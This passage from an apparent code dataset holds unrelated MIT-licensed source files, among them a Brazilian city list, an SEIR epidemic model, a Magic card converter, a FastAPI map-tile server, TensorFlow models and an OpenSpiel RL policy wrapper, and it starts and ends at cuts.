'Campinas',\n 'Nova Iguacu',\n 'Maceio',\n 'Sao Luis',\n 'Duque de Caxias',\n 'Natal',\n 'Teresina',\n 'Sao Bernardo do Campo',\n 'Campo Grande',\n 'Jaboatao',\n 'Osasco',\n 'Santo Andre',\n 'Joao Pessoa',\n 'Jaboatao dos Guararapes',\n 'Contagem',\n 'Ribeirao Preto',\n 'Sao Jose dos Campos',\n 'Uberlandia',\n 'Sorocaba',\n 'Cuiaba',\n 'Aparecida de Goiania',\n 'Aracaju',\n 'Feira de Santana',\n 'Londrina',\n 'Juiz de Fora',\n 'Belford Roxo',\n 'Joinville',\n 'Niteroi',\n 'Sao Joao de Meriti',\n 'Ananindeua',\n 'Florianopolis',\n 'Santos',\n 'Ribeirao das Neves',\n 'Vila Velha',\n 'Serra',\n 'Diadema',\n 'Campos dos Goytacazes',\n 'Maua',\n 'Betim',\n 'Caxias do Sul',\n 'Sao Jose do Rio Preto',\n 'Olinda',\n 'Carapicuiba',\n 'Campina Grande',\n 'Piracicaba',\n 'Macapa',\n 'Itaquaquecetuba',\n 'Bauru',\n 'Montes Claros',\n 'Canoas',\n 'Mogi das Cruzes',\n 'Sao Vicente',\n 'Jundiai',\n 'Pelotas',\n 'Anapolis',\n 'Vitoria',\n 'Maringa',\n 'Guaruja',\n 'Porto Velho',\n 'Franca',\n 'Blumenau',\n 'Foz do Iguacu',\n 'Ponta Grossa',\n 'Paulista',\n 'Limeira',\n 'Viamao',\n 'Suzano',\n 'Caucaia',\n 'Petropolis',\n 'Uberaba',\n 'Rio Branco',\n 'Cascavel',\n 'Novo Hamburgo',\n 'Vitoria da Conquista',\n 'Barueri',\n 'Taubate',\n 'Governador Valadares',\n 'Praia Grande',\n 'Varzea Grande',\n 'Volta Redonda',\n 'Santa Maria',\n 'Santa Luzia',\n 'Gravatai',\n 'Caruaru',\n 'Boa Vista',\n 'Ipatinga',\n 'Sumare',\n 'Juazeiro do Norte',\n 'Embu',\n 'Imperatriz',\n 'Colombo',\n 'Taboao da Serra',\n 'Jacarei',\n 'Marilia',\n 'Presidente Prudente',\n 'Sao Leopoldo',\n 'Itabuna',\n 'Sao Carlos',\n 'Hortolandia',\n 'Mossoro',\n 'Itapevi',\n 'Sete Lagoas',\n 'Sao Jose',\n 'Palmas',\n 'Americana',\n 'Petrolina',\n 'Divinopolis',\n 'Maracanau',\n 'Planaltina',\n 'Santarem',\n 'Camacari',\n \"Santa Barbara d'Oeste\",\n 'Rio Grande',\n 'Cachoeiro de Itapemirim',\n 'Itaborai',\n 'Rio Claro',\n 'Indaiatuba',\n 'Passo Fundo',\n 'Cotia',\n 'Francisco Morato',\n 'Aracatuba',\n 'Araraquara',\n 'Ferraz de Vasconcelos',\n 'Arapiraca',\n 'Lages',\n 'Barra Mansa',\n 'Nossa Senhora do Socorro',\n 'Dourados',\n 'Criciuma',\n 'Chapeco',\n 'Barreiras',\n 'Sobral',\n 'Itajai',\n 'Ilheus',\n 'Angra dos Reis',\n 'Nova Friburgo',\n 'Rondonopolis',\n 'Itapecerica da Serra',\n 'Guarapuava',\n 'Parnamirim',\n 'Caxias',\n 'Nilopolis',\n 'Pocos de Caldas',\n 'Maraba',\n 'Luziania',\n 'Cabo',\n 'Macae',\n 'Ibirite',\n 'Lauro de Freitas',\n 'Paranagua',\n 'Parnaiba',\n 'Itu',\n 'Castanhal',\n 'Sao Caetano do Sul',\n 'Queimados',\n 'Pindamonhangaba',\n 'Sapucaia',\n 'Jaragua do Sul',\n 'Mogi Guacu',\n 'Jequie',\n 'Itapetininga',\n 'Patos de Minas',\n 'Braganca Paulista',\n 'Timon',\n 'Sao Jose dos Pinhais',\n 'Teresopolis',\n 'Uruguaiana',\n 'Porto Seguro',\n 'Alagoinhas',\n 'Palhoca',\n 'Barbacena',\n 'Cachoeirinha',\n 'Santa Rita',\n 'Toledo',\n 'Jau',\n 'Cubatao',\n 'Pinhais',\n 'Simoes Filho',\n 'Varginha',\n 'Sinop',\n 'Pouso Alegre',\n 'Eunapolis',\n 'Botucatu',\n 'Jandira',\n 'Ribeirao Pires',\n 'Conselheiro Lafaiete',\n 'Resende',\n 'Araucaria',\n 'Atibaia',\n 'Varzea Paulista',\n 'Garanhuns',\n 'Araruama',\n 'Catanduva',\n 'Franco da Rocha',\n 'Cabo Frio',\n 'Ji Parana',\n 'Araras',\n 'Poa',\n 'Vitoria de Santo Antao',\n 'Umuarama',\n 'Apucarana',\n 'Santa Cruz do Sul',\n 'Guaratingueta',\n 'Linhares',\n 'Araguaina',\n 'Esmeraldas',\n 'Birigui',\n 'Assis',\n 'Barretos',\n 'Colatina',\n 'Teofilo Otoni',\n 'Guaiba',\n 'Guarapari',\n 'Coronel Fabriciano',\n 'Itaguai',\n 'Rio das Ostras',\n 'Itabira',\n 'Votorantim',\n 'Sertaozinho',\n 'Santana de Parnaiba',\n 'Bage',\n 'Passos',\n 'Salto',\n 'Uba',\n 'Ourinhos',\n 'Trindade',\n 'Arapongas',\n 'Araguari',\n 'Corumba',\n 'Erechim',\n 'Japeri',\n 'Vespasiano',\n 'Campo Largo',\n 'Tatui',\n 'Patos',\n 'Timoteo',\n 'Muriae',\n 'Cambe',\n 'Bayeux',\n 'Bento Goncalves',\n 'Caraguatatuba',\n 'Itanhaem',\n 'Santana do Livramento',\n 'Almirante Tamandare',\n 'Planaltina',\n 'Crato',\n 'Valinhos',\n 'Sao Lourenco da Mata',\n 'Nova Lima',\n 'Brusque',\n 'Barra do Pirai',\n 'Alegrete',\n 'Caieiras',\n 'Barra do Corda',\n 'Igarassu',\n 'Paulo Afonso',\n 'Ituiutaba',\n 'Esteio',\n 'Sarandi',\n 'Itaperuna',\n 'Santana',\n 'Jardim Paulista',\n 'Codo',\n 'Araxa',\n 'Abreu e Lima',\n 'Itajuba',\n 'Lavras',\n 'Avare',\n 'Formosa',\n 'Leme',\n 'Cruzeiro do Sul',\n 'Itumbiara',\n 'Marica',\n 'Ubatuba',\n 'Tres Lagoas',\n 'Sao Joao del Rei',\n 'Mogi Mirim',\n 'Abaetetuba',\n 'Sao Bento do Sul',\n 'Itauna',\n 'Sao Mateus',\n 'Jatai',\n 'Sao Joao da Boa Vista',\n 'Lorena',\n 'Santa Cruz do Capibaribe',\n 'Sao Sebastiao',\n 'Tucurui',\n 'Embu Guacu',\n 'Sapiranga',\n 'Para de Minas',\n 'Campo Mourao',\n 'Cachoeira do Sul',\n 'Santo Antonio de Jesus',\n 'Paranavai',\n 'Joao Monlevade',\n 'Matao',\n 'Bacabal',\n 'Cacapava',\n 'Aruja',\n 'Cruzeiro',\n 'Patrocinio',\n 'Tres Rios',\n 'Bebedouro',\n 'Sao Cristovao',\n 'Alfenas',\n 'Ijui',\n 'Altamira',\n 'Paracatu',\n 'Carpina',\n 'Iguatu',\n 'Votuporanga',\n 'Paragominas',\n 'Lins',\n 'Jaboticabal',\n 'Vicosa',\n 'Sao Sebastiao do Paraiso',\n 'Balsas',\n 'Itatiba',\n 'Santa Ines',\n 'Tubarao',\n 'Pato Branco',\n 'Paulinia',\n 'Lajeado',\n 'Cruz Alta',\n 'Aquiraz',\n 'Itacoatiara',\n 'Gurupi',\n 'Itaituba',\n 'Santo Angelo',\n 'Parintins',\n 'Curvelo',\n 'Itabaiana',\n 'Cacador',\n 'Ouro Preto',\n 'Caldas Novas',\n 'Irece',\n 'Catalao',\n 'Tres Coracoes',\n 'Rio Largo',\n 'Vilhena',\n 'Valenca',\n 'Peruibe',\n 'Itapeva',\n 'Cataguases',\n 'Saquarema',\n 'Tupa',\n 'Fernandopolis',\n 'Senador Canedo',\n 'Itapira',\n 'Gravata',\n 'Valenca',\n 'Pirassununga',\n 'Unai',\n 'Caratinga',\n 'Itapetinga',\n 'Mococa',\n 'Sao Borja',\n 'Carazinho',\n 'Santa Rosa',\n 'Telemaco Borba',\n 'Guanambi',\n 'Aracruz',\n 'Ariquemes',\n 'Farroupilha',\n 'Francisco Beltrao',\n 'Picos',\n 'Lencois Paulista',\n 'Arcoverde',\n 'Braganca',\n 'Vacaria',\n 'Cajamar',\n 'Janauba',\n 'Vinhedo',\n 'Formiga',\n 'Cianorte',\n 'Nova Vicosa',\n 'Itapipoca',\n 'Ponta Pora',\n 'Estancia',\n 'Cacoal',\n 'Sao Gabriel',\n 'Concordia',\n 'Pacatuba',\n 'Viana',\n 'Sao Pedro da Aldeia',\n 'Caico',\n 'Seropedica'\n]\n", "source": "xioren/JohnDoe", "license": "MIT"} {"text": "\"\"\"\nCan be used to build the cython code. However, this should be done for you when imported using\npyximport\n\"\"\"\n\n__author__ = 'Neil Parley'\nfrom distutils.core import setup\nfrom Cython.Build import cythonize\n\nsetup(\n ext_modules=cythonize(\"aperture_sum.pyx\"), requires=['Cython', 'flask', 'wtforms']\n)", "source": "nparley/signal_to_noise_ccd", "license": "MIT"} {"text": "#!/usr/bin/env python\n\n####################################################################\n### This is the PYTHON version of program 3.4 from page 87 of #\n### \"Modeling Infectious Disease in humans and animals\" #\n### by Keeling & Rohani.\t\t\t\t\t\t\t\t\t\t #\n###\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n### It is the SEIR model with four different age-groups and \t #\n### yearly \"movements\" between the groups mimicking the school year#\n####################################################################\n\n###################################\n### Written by Ilias Soumpasis #\n### ilias.soumpasis@ucd.ie (work) #\n### ilias.soumpasis@gmail.com\t #\n###################################\n\nimport scipy.integrate as spi\nimport numpy as np\nimport pylab as pl\nfrom matplotlib.font_manager import FontProperties\n\nm = 4\nmu = np.array([0.0, 0.0, 0.0, 1.0 / (55 * 365)])\nnu = np.array([1.0 / (55 * 365), 0.0, 0.0, 0.0])\nn = np.array([6.0, 4.0, 10.0, 55.0]) / 75.0\nS0 = np.array([0.05, 0.01, 0.01, 0.008])\nE0 = np.array([0.0001, 0.0001, 0.0001, 0.0001])\nI0 = np.array([0.0001, 0.0001, 0.0001, 0.0001])\nR0 = np.array([0.0298, 0.04313333, 0.12313333, 0.72513333])\nND = MaxTime = 365.0\nbeta = np.array(\n (\n [2.089, 2.089, 2.086, 2.037],\n [2.089, 9.336, 2.086, 2.037],\n [2.086, 2.086, 2.086, 2.037],\n [2.037, 2.037, 2.037, 2.037],\n )\n)\ngamma = 1 / 5.0\nsigma = 1 / 8.0\nTS = 1.0\n\n\nINPUT = np.hstack((S0, E0, I0, R0))\n\n\ndef diff_eqs(INP, t):\n \"\"\"The main set of equations\"\"\"\n Y = np.zeros((16))\n V = INP\n for i in range(m):\n Inf = np.dot(beta[i], V[list(np.array(range(m)) + 2 * m)]) * V[i]\n Y[i] = nu[i] * n[3] - Inf - mu[i] * V[i]\n Y[(m + i)] = Inf - mu[i] * V[(m + i)] - sigma * V[(m + i)]\n Y[(2 * m + i)] = sigma * V[(m + i)] - gamma * V[(2 * m + i)] - mu[i] * V[(2 * m + i)]\n Y[(3 * m + i)] = gamma * V[(2 * m + i)] - mu[i] * V[(3 * m + i)]\n return Y # For odeint\n\n\nt_start = 0.0\nt_end = ND\nt_inc = TS\nt_range = np.arange(t_start, t_end + t_inc, t_inc)\n\nRES2 = np.zeros((16))\nk = 1\nwhile k <= 100:\n RES = spi.odeint(diff_eqs, INPUT, t_range)\n INPUT = RES[-1]\n INPUT[15] = INPUT[15] + INPUT[14] / 10\n INPUT[14] = INPUT[14] + INPUT[13] / 4 - INPUT[14] / 10\n INPUT[13] = INPUT[13] + INPUT[12] / 6 - INPUT[13] / 4\n INPUT[12] = INPUT[12] - INPUT[12] / 6\n\n INPUT[11] = INPUT[11] + INPUT[10] / 10\n INPUT[10] = INPUT[10] + INPUT[9] / 4 - INPUT[10] / 10\n INPUT[9] = INPUT[9] + INPUT[8] / 6 - INPUT[9] / 4\n INPUT[8] = INPUT[8] - INPUT[8] / 6\n\n INPUT[7] = INPUT[7] + INPUT[6] / 10\n INPUT[6] = INPUT[6] + INPUT[5] / 4 - INPUT[6] / 10\n INPUT[5] = INPUT[5] + INPUT[4] / 6 - INPUT[5] / 4\n INPUT[4] = INPUT[4] - INPUT[4] / 6\n\n INPUT[3] = INPUT[3] + INPUT[2] / 10\n INPUT[2] = INPUT[2] + INPUT[1] / 4 - INPUT[2] / 10\n INPUT[1] = INPUT[1] + INPUT[0] / 6 - INPUT[1] / 4\n INPUT[0] = INPUT[0] - INPUT[0] / 6\n RES2 = np.vstack((RES2, RES))\n k = k + 1\n\nRES = RES2[\n 1:,\n]\nprint(RES)\n\nTime = np.arange(100 * (ND + 1)) / (ND + 1)\n\n##Ploting\npl.subplot(311)\npl.plot(Time, RES[:, 0], \"c\", label=\"0-6\")\npl.plot(Time, RES[:, 1], \"b\", label=\"6-10\")\npl.plot(Time, RES[:, 2], \"g\", label=\"10-20\")\npl.plot(Time, RES[:, 3], \"r\", label=\"20+\")\npl.ylabel(\"Susceptibles\")\npl.xlabel(\"Time (years)\")\npl.legend(loc=1, prop=FontProperties(size=\"smaller\"))\n\n\npl.subplot(312)\npl.semilogy(Time, RES[:, 0 + 2 * m], \"c\", label=\"0-6\")\npl.semilogy(Time, RES[:, 1 + 2 * m], \"b\", label=\"6-10\")\npl.semilogy(Time, RES[:, 2 + 2 * m], \"g\", label=\"10-20\")\npl.semilogy(Time, RES[:, 3 + 2 * m], \"r\", label=\"20+\")\npl.ylabel(\"Infectious\")\npl.xlabel(\"Time (years)\")\npl.legend(loc=1, prop=FontProperties(size=\"smaller\"))\n\nR = np.zeros(4)\npl.subplot(313)\nmm = pl.find(Time > (ND - 365.0))\nfor i in range(4):\n R[i] = 1.0 - np.mean(RES[mm, i]) / n[i]\n\npl.fill(\n np.array([0, 0, 6, 6, 6, 6, 10, 10, 10, 10, 20, 20, 20, 20, 75, 75]),\n np.array([0, R[0], R[0], 0, 0, R[1], R[1], 0, 0, R[2], R[2], 0, 0, R[3], R[3], 0]),\n \"r\",\n)\npl.xlabel(\"Age-group\")\npl.ylabel(\"Proportion Sero-positive\")\npl.xlim((0, 25))\npl.ylim((0, 1))\npl.show()\n", "source": "jpmieville/sir", "license": "MIT"} {"text": "\"\"\"\n\nDefine Connection class.\n- Special type of Equation that are used as source or sink terms (process inlet or outlet, respectively) or to connect two different Model objects.\n\n\"\"\"\n\nfrom core.Equation import *\n\nclass base_(object):\n\n pass\n\nclass Connection(base_,Equation):\n\n def __init__(self, name, description, connection_type = 'source', fast_expr = None):\n\n super(self.__class__,self).__init__(name, description, fast_expr)\n\n \"\"\"\n Inidial definitions.\n\n :param str name:\n Name for the current equation\n\n :param str description:\n Description for the present equation. Defauls to \"\"\n\n :param str connection_type:\n Type of the connection. Options are 'source', when a source term is declared (eg: process inlet); 'sink', when a sink term is declared (eq: process outlet); 'input', when a input from the other model output is declared (thus, a source term coming from the sink term from another model); 'output', when a output the output of a model is declared (used as input by another model). Defaults to 'source'.\n\n :param ExpressionTree fast_expr:\n ExpressionTree object to declare for the current Equation object. If declared, the moethod '.setResidual' are executed as a shortcut. Defaults to None.\n \n \"\"\"\n\n self.connection_type = connection_type", "source": "volpatto/sloth", "license": "MIT"} {"text": "#!/usr/bin/env python3\n\nimport json\n\n# Just FYI!\n# b (banned) = [sml] (standard, modern, legacy)\n# c (color) = White = A, Blue = B, Black = C, Red = D, Green = E, Gold = F, Artifact = G , Split = S, Unknown = X, Land = Z\n# m (CMC) = N (Split = 98, Land = 99)\n# n (actual name) = 'true name nemesis' to 'True Name Nemesis'\n# t (type) = 1 = land, 2 = creature, 3 = instant or sorcery 4 = other\n\nFORMATS = {\n 'standard': 's',\n 'modern': 'm',\n 'legacy': 'l'\n}\n\ndef getLegalities(card, cards):\n # Let's figure out legalities\n banned = 'sml'\n\n for gameformat, abbrevation in FORMATS.items():\n if cards[card].get('legalities', {}).get(gameformat) == 'Legal':\n banned = banned.replace(abbrevation, '')\n\n return(banned)\n\n# Open the JSON file\njsonfh = open(\"AllCards.json\", \"r\")\n\n# Load all the cards into a giant dictionary\ncards = json.load(jsonfh)\n\n# Gotta store these cards in a dictionary\nocards = {}\n\n# Okay, we need the colors but in a much shorter format\nfor card in cards:\n\n # We're going to store them in lowercase\n ocard = card.lower()\n\n # Python's Unicode support sucks, as does everybodies. Manually\n # replace the Ae to lower case\n ocard = ocard.replace(u'\\xc6', u'\\xe6')\n\n # Skip tokens\n if cards[card]['layout'] == 'token': continue\n\n # Create an entry in the output dictionary\n ocards[ocard] = {}\n\n # Lands and (noncolored) artifacts are special\n if 'Land' in cards[card]['types']:\n ocards[ocard]['c'] = 'Z' # Sort lands last\n elif (('Artifact' in cards[card]['types']) and ('colors' not in cards[card])):\n ocards[ocard]['c'] = 'G'\n\n # Make the colors shorter\n if ('colors' not in cards[card]): pass\n elif len(cards[card]['colors']) > 1: ocards[ocard]['c'] = 'F' # gold\n elif cards[card]['colors'] == ['White']: ocards[ocard]['c'] = 'A'\n elif cards[card]['colors'] == ['Blue']: ocards[ocard]['c'] = 'B'\n elif cards[card]['colors'] == ['Black']: ocards[ocard]['c'] = 'C'\n elif cards[card]['colors'] == ['Red']: ocards[ocard]['c'] = 'D'\n elif cards[card]['colors'] == ['Green']: ocards[ocard]['c'] = 'E'\n\n if 'Land' in cards[card]['types']: ocards[ocard]['t'] = '1'\n elif 'Creature' in cards[card]['types']: ocards[ocard]['t'] = '2'\n elif 'Sorcery' in cards[card]['types']: ocards[ocard]['t'] = '3'\n elif 'Instant' in cards[card]['types']: ocards[ocard]['t'] = '3'\n else: ocards[ocard]['t'] = '4'\n\n # Now try to deal with CMC\n if 'cmc' not in cards[card]: ocards[ocard]['m'] = 99\n else: ocards[ocard]['m'] = cards[card]['cmc']\n\n # Add it into the file if the banned list isn't empty\n legality = getLegalities(card, cards)\n if legality != \"\": ocards[ocard]['b'] = legality\n\n # And put the true name in there as well\n ocards[ocard]['n'] = card\n\n # Now to handle split cards (ugh)\n if 'names' in cards[card]:\n name = \" // \".join(cards[card]['names'])\n ocard = name.lower().replace(u'\\xc6', u'\\xe6') # Just like a real card\n\n ocards[ocard] = {}\n ocards[ocard]['c'] = 'S'\n ocards[ocard]['m'] = 98 \n ocards[ocard]['n'] = name\n\n legality = getLegalities(card, cards)\n if legality != \"\": ocards[ocard]['b'] = legality\n\n\n# Print out the full list of cards\nojsonfh = open(\"decklist-cards.js\", \"w\")\nojsonfh.write('cards=')\njson.dump(ocards, ojsonfh)\nojsonfh.close()\n", "source": "ggekos/decklist", "license": "MIT"} {"text": "class Test:\n \"\"\"\n Lorem ipsum dolor sit amet, consectetur adipiscing elit,\n deserunt mollit anim id est laborum.\n\n .. sourcecode:: pycon\n\n >>> # extract 100 LDA topics, using default parameters\n >>> lda = LdaModel(corpus=mm, id2word=id2word, num_topics=100, distributed=True)\n\n using distributed version with 4 workers\n running online LDA training, 100 topics, 1 passes over the supplied corpus of 3199665 documets,\n updating model once every 40000 documents\n ..\n\n Some another text\n \"\"\"\n\n some_field = 1\n", "source": "kataev/flake8-rst", "license": "MIT"} {"text": "import json\nimport logging\nimport re\nimport sys\n\nfrom fastapi import FastAPI, Request\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom fastapi.middleware.gzip import GZipMiddleware\nfrom fastapi.openapi.utils import get_openapi\nfrom fastapi.responses import JSONResponse\nfrom timvt.db.catalog import table_index\nfrom timvt.db.events import close_db_connection, connect_to_db\nfrom timvt.endpoints import tiles, demo, index\nfrom timvt.models.metadata import TableMetadata\nfrom .routers.titiler_router import router as cogrouter\nfrom .routers.attribute_router import router as attribute_router\nfrom typing import List\n\nlogging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n\napp = FastAPI(docs_url=\"/\")\napp.add_middleware(CORSMiddleware, allow_origins=[\"*\"])\napp.add_middleware(GZipMiddleware, minimum_size=0)\n\n\n@app.on_event(\"startup\")\nasync def startup_event():\n \"\"\"\n Application startup:\n register the database connection and create table list.\n \"\"\"\n await connect_to_db(app)\n # Fetch database table list\n app.state.Catalog = await table_index(app.state.pool)\n\n\n@app.on_event(\"shutdown\")\nasync def shutdown_event():\n \"\"\"Application shutdown: de-register the database connection.\"\"\"\n await close_db_connection(app)\n\napp.include_router(\n attribute_router, prefix=\"/vector\", tags=['Tiles']\n)\napp.include_router(\n demo.router, prefix=\"/vector\",\n)\napp.include_router(\n tiles.router, prefix=\"/vector\",\n)\napp.include_router(\n index.router, prefix=\"/vector\",\n)\n\napp.include_router(\n cogrouter, prefix=\"/cog\", tags=['Raster Tiles (COG)']\n)\n\n\n@app.get(\n \"/vector/index\",\n response_model=List[TableMetadata],\n tags=[\"Tiles\"],\n description=\"Reindex the Vector Data Catalog.\",\n)\nasync def reindex(\n request: Request\n):\n \"\"\"Force a reindex of the catalog.\"\"\"\n request.app.state.Catalog = await table_index(request.app.state.pool)\n return [\n TableMetadata(\n **table,\n link=request.url_for(\"tilejson\", table=table[\"id\"])\n )\n for table in request.app.state.Catalog\n ]\n\n\n# remove \"/tiles/{identifier}/{table}/{z}/{x}/{y}.pbf\" endpoint\nfor r in app.routes:\n if r.path == \"/vector/\":\n app.routes.remove(r)\n\n\n# TODO: remove when https://github.com/developmentseed/titiler/pull/46 is merged\n@app.middleware(\"http\")\nasync def remove_memcached_middleware(request: Request, call_next):\n \"\"\"\n Remove memcached layer from titiler (quick and dirty approach)\n Note: This could effect any other routes that happen to use state.cache,\n which could be bad. timvt does not reference a cache state.\n \"\"\"\n request.state.cache = None\n return await call_next(request)\n\n\n@app.get(\"/RiskSchema.json\", tags=[\"Risk Schema\"], summary=\"Risk Schema\")\nasync def root(request: Request) -> JSONResponse:\n with open(\"app/templates/RiskSchema.json\", \"r\") as f:\n content = json.loads(f.read())\n\n response = JSONResponse(content=content, status_code=200)\n\n return response\n\n\ndef custom_openapi(openapi_prefix: str):\n if app.openapi_schema:\n return app.openapi_schema\n o = get_openapi(\n title=\"World Bank Covid API\",\n version=\"0.1\",\n description=\"API for World Bank Covid 19 Project\",\n routes=app.routes,\n openapi_prefix=openapi_prefix,\n )\n\n cat = app.state.Catalog\n tables_schema = {\"title\": \"Table\", \"enum\": [r[\"table\"] for r in cat]}\n # raise Exception(o['paths'].keys())\n for path in o[\"paths\"].values():\n get = path.get(\"get\")\n if get is not None:\n summary = get.get(\"summary\", None)\n tags = get.get(\"tags\", None)\n parameters = get.get(\"parameters\", None)\n if summary == \"Demo\":\n get[\"summary\"] = \"Vector Tile Simple Viewer\"\n get[\"tags\"] = [\"Vector Tile API\"]\n if summary == \"Display Index\":\n get[\"summary\"] = \"Available Layer Metadata\"\n get[\"tags\"] = [\"Vector Tile API\"]\n if \"Tiles\" in tags:\n get[\"tags\"] = [\"Vector Tile API\"]\n if parameters is not None:\n for param in parameters:\n if param.get(\"description\") == \"Table Name\":\n param[\"schema\"] = tables_schema\n app.openapi_schema = o\n return app.openapi_schema\n\n\napp.openapi = custom_openapi\n", "source": "developmentseed/covid-wb-api", "license": "MIT"} {"text": "import tensorflow as tf\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.layers import Dense\nfrom .layers import Encoder, Decoder, GraphConvolution\n\n\nclass VariationalAutoEncoder(Model):\n \"\"\"Combines the encoder and decoder into an end-to-end model for training.\"\"\"\n\n def __init__(\n self,\n original_dim,\n intermediate_dim=64,\n latent_dim=32,\n name=\"autoencoder\",\n **kwargs\n ):\n super(VariationalAutoEncoder, self).__init__(name=name, **kwargs)\n self.original_dim = original_dim\n self.encoder = Encoder(latent_dim=latent_dim, intermediate_dim=intermediate_dim)\n self.decoder = Decoder(original_dim, intermediate_dim=intermediate_dim)\n\n def call(self, inputs):\n z_mean, z_log_var, z = self.encoder(inputs)\n reconstructed = self.decoder(z)\n # Add KL divergence regularization loss.\n kl_loss = -0.5 * tf.reduce_mean(\n z_log_var - tf.square(z_mean) - tf.exp(z_log_var) + 1\n )\n self.add_loss(kl_loss)\n return reconstructed\n\n\nclass GCN(Model):\n\n def __init__(self, dimension=32, num_classes=2, dropout=0., weight_decay=0., adj=None, name=\"gcn\", **kwargs):\n super(GCN, self).__init__(name=name, **kwargs)\n self.dimension = dimension\n self.weight_decay = weight_decay\n self.dropout = dropout\n self.adj = adj\n\n self.gc1 = GraphConvolution(self.adj, units=self.dimension, activation=tf.keras.backend.relu, dropout=self.dropout, l2=self.weight_decay, name='gc1')\n self.gc2 = GraphConvolution(self.adj, units=self.dimension, activation=tf.keras.backend.relu, dropout=self.dropout, l2=self.weight_decay, name='gc2')\n self.dense = Dense(units=num_classes, activation='softmax')\n\n def call(self, inputs):\n inputs = self.gc1(inputs)\n inputs = self.gc2(inputs)\n output = self.dense(inputs)\n\n return output\n", "source": "mpoiitis/GraphM-framework", "license": "MIT"} {"text": "\"\"\"\nModule containg all the necessary class for the package.\nFoodCategory is a Enum class representing the category of ingredient.\nCategorySynset is a class representing the wordnet synset of a category.\n\"\"\"\n\nfrom enum import Enum\n\nfrom nltk.corpus import wordnet\n\n\nclass FoodCategory(Enum):\n \"\"\"\n Enum class used to represent the category of ingredients.\n \"\"\"\n\n vegetable = 0\n fruit = 1\n legume = 2\n meat = 3\n egg = 4\n dairy = 5\n staple = 6\n condiment = 7\n nut = 8\n seafood = 9\n snack = 10\n mushroom = 11\n dessert = 12\n beverage = 13\n\n\nclass CategorySynset:\n \"\"\"\n Class used to represent the Wordnet Synset of catagories.\n\n Attributes\n ----------\n categories: list\n a list containing all synset of the above categories\n \"\"\"\n\n categories = [\n wordnet.synset(f\"{FoodCategory.vegetable.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.fruit.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.legume.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.meat.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.egg.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.dairy.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.staple.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.condiment.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.nut.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.seafood.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.snack.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.mushroom.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.dessert.name}.n.01\"),\n wordnet.synset(f\"{FoodCategory.beverage.name}.n.01\"),\n ]\n\n\nclass FoodCategoryWaterFootprint(Enum):\n \"\"\"\n Enum class used to represent the default water footprint\n of category of ingredients.\n \"\"\"\n\n vegetable = 354\n fruit = 962\n legume = 4055\n meat = 8623\n egg = 3265\n dairy = 3178\n staple = 1644\n condiment = 2364\n nut = 9063\n seafood = 2590\n snack = 2980\n mushroom = 322\n dessert = 3140\n beverage = 732\n", "source": "TurconiAndrea/recipe-tagger", "license": "MIT"} {"text": "# Copyright 2019 DeepMind Technologies Ltd. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Lint as: python3\n\"\"\"DQN as a policy.\n\nTreating RL Oracles as policies allows us to streamline their use with tabular\npolicies and other policies in OpenSpiel, and freely mix populations using\ndifferent types of oracles.\n\"\"\"\n\nfrom open_spiel.python import policy\nfrom open_spiel.python import rl_environment\nfrom open_spiel.python.algorithms import dqn\nfrom open_spiel.python.algorithms import policy_gradient_pytorch as policy_gradient\n\ndef rl_policy_factory(rl_class):\n \"\"\"Transforms an RL Agent into an OpenSpiel policy.\n\n Args:\n rl_class: An OpenSpiel class inheriting from 'rl_agent.AbstractAgent' such\n as policy_gradient.PolicyGradient or dqn.DQN.\n\n Returns:\n An RLPolicy class that wraps around an instance of rl_class to transform it\n into a policy.\n \"\"\"\n\n class RLPolicy(policy.Policy):\n \"\"\"A 'policy.Policy' wrapper around an 'rl_agent.AbstractAgent' instance.\"\"\"\n\n def __init__(self, env, player_id, **kwargs):\n \"\"\"Constructs an RL Policy.\n\n Args:\n env: An OpenSpiel RL Environment instance.\n player_id: The ID of the DQN policy's player.\n **kwargs: Various kwargs used to initialize rl_class.\n \"\"\"\n game = env.game\n\n super(RLPolicy, self).__init__(game, player_id)\n self._policy = rl_class(**{\"player_id\": player_id, **kwargs})\n\n self._frozen = False\n self._rl_class = rl_class\n self._env = env\n self._obs = {\n \"info_state\": [None] * self.game.num_players(),\n \"legal_actions\": [None] * self.game.num_players()\n }\n\n def get_time_step(self):\n time_step = self._env.get_time_step()\n return time_step\n\n def action_probabilities(self, state, player_id=None):\n cur_player = state.current_player() if player_id is None else player_id\n legal_actions = state.legal_actions(cur_player)\n\n step_type = rl_environment.StepType.LAST if state.is_terminal(\n ) else rl_environment.StepType.MID\n\n self._obs[\"current_player\"] = cur_player\n self._obs[\"info_state\"][cur_player] = (\n state.information_state_tensor(cur_player))\n self._obs[\"legal_actions\"][cur_player] = legal_actions\n\n # pylint: disable=protected-access\n rewards = state.rewards()\n if rewards:\n time_step = rl_environment.TimeStep(\n observations=self._obs, rewards=rewards,\n discounts=self._env._discounts, step_type=step_type)\n else:\n rewards = [0] * self._num_players\n time_step = rl_environment.TimeStep(\n observations=self._obs, rewards=rewards,\n discounts=self._env._discounts,\n step_type=rl_environment.StepType.FIRST)\n # pylint: enable=protected-access\n\n p = self._policy.step(time_step, is_evaluation=True).probs\n prob_dict = {action: p[action] for action in legal_actions}\n return prob_dict\n\n def step(self, time_step, is_evaluation=False):\n # The _frozen attribute freezes the weights of the current policy. This\n # effect is achieved by considering that we always are evaluating when the\n # current policy's weights are frozen. For more details, 